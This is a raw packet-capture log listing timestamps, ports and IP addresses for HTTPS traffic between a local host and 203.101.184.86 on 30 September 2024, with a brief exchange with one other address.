Sep 30, 2024 18:58:14.799786091 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.799850941 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.802391052 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.802453041 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.802463055 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.802473068 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.802529097 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.802535057 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.802546978 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.802577019 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.802578926 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.802628040 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.802633047 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.802668095 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.802710056 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.802710056 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.802717924 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.802759886 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.802761078 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.802774906 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.802800894 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.802999973 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.803060055 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.803066015 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.803076029 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.803101063 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.803144932 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.803152084 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.803158998 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.803404093 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.803559065 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.803639889 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.803684950 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.803684950 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.803692102 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.803726912 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.803735971 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.803952932 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.804270029 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.804299116 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.804358006 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.804358006 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.804363966 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.804476976 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.804569006 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.804606915 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.804613113 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.804655075 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.804657936 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.804678917 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.804718018 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.804718018 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.804724932 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.805177927 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.805223942 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.805265903 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.805265903 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.805274010 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.805512905 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.805556059 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.805562019 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.806653023 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.886024952 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.886074066 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.886106014 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.886111021 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.886126041 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.886145115 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.886178970 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.886181116 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.886181116 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.886189938 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.886214018 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.886257887 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.886964083 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.887048006 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.887101889 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.887173891 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.887492895 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.887634993 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.887676001 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.887676001 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.887682915 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.887739897 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.888237000 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.888304949 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.888322115 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.888328075 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.888364077 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.888364077 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.888385057 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.888434887 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.888439894 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.888490915 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.888494968 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.888504028 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.888616085 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.888621092 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.888639927 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.888720989 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.888732910 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.888737917 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.888766050 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.891021013 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.891112089 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.891118050 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.891150951 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.891195059 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.891227961 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.891232014 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.891237020 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.891633987 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.012655973 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.012712002 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.012752056 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.012840033 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.012860060 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.012876987 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.012907028 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.012932062 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.013371944 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.013437033 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.013470888 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.013474941 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.013480902 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.013492107 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.013598919 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.013609886 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.013619900 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.013648033 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.013680935 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.013688087 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.013696909 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.013856888 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.014468908 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.014580011 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.014614105 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.014656067 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.014661074 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.014676094 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.014713049 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.014717102 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.014811993 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.014818907 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.014985085 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.015439034 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.015522003 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.015526056 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.015536070 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.015605927 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.015762091 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.015795946 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.015811920 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.015815973 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.015842915 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.015856028 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.015856028 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.015861988 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.015961885 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.016412973 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.016485929 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.016491890 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.016609907 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.016638994 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.016663074 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.016666889 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.016700983 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.016700983 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.016724110 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.016782045 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.016788960 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.016872883 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.017344952 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.017405033 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.017416000 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.017481089 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.017488956 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.017517090 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.017560005 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.017560005 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.017565012 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.017575979 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.017649889 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.017653942 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.018456936 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.018522024 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.018527031 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.018541098 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.018608093 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.018610001 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.018620014 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.018671036 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.018671036 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.018795013 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.018883944 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.018939018 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.018978119 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.019000053 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.019005060 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.019021988 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.019655943 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.019794941 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.019800901 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.022505045 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.102372885 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.102477074 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.102483034 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.102498055 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.102545977 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.102566004 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.102566004 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.102574110 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.102591991 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.102607012 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.102647066 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.102647066 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.102652073 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.103332043 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.103400946 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.103406906 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.103411913 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.103460073 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.103647947 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.103780031 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.103785992 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.104609013 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.104669094 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.104674101 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.104691029 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.104736090 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.104741096 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.104803085 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.104850054 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.104866028 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.104871035 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.105091095 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.105500937 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.105557919 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.105561972 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.105593920 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.105624914 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.105673075 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.105673075 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.105678082 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.105727911 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.105770111 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.105783939 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.105787992 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.105859995 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.105942965 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.105973005 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.105989933 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.105993986 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.106154919 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.106385946 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.106488943 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.106501102 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.106504917 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.106622934 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.106628895 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.106653929 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.106698036 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.106698036 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.106703043 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.107511044 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.107551098 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.107563972 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.107568979 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.107599974 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.107604980 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.107635021 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.107671976 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.107690096 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.107695103 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.107805967 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.108463049 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.108499050 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.108510971 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.108510971 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.108517885 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.108547926 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.108613968 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.108683109 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.108716011 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.108747005 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.108751059 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.108789921 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.108789921 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.109482050 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.109822989 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.181956053 CEST	443	49732	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:15.182146072 CEST	49732	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:15.226703882 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.226762056 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.226800919 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.226814032 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.226902008 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.227276087 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.227327108 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.227339029 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.227437973 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.227484941 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.227494001 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.227494001 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.227499008 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.227539062 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.227547884 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.227576971 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.227581024 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.227618933 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.227679968 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.227679968 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.227684975 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.228385925 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.228477001 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.228528023 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.228528023 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.228533030 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.228583097 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.228616953 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.228661060 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.228661060 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.228666067 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.229516983 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.229559898 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.229609013 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.229609013 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.229614019 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.230609894 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.230653048 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.230689049 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.230700016 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.230700016 CEST	49727	443	192.168.2.5	203.101.184.86
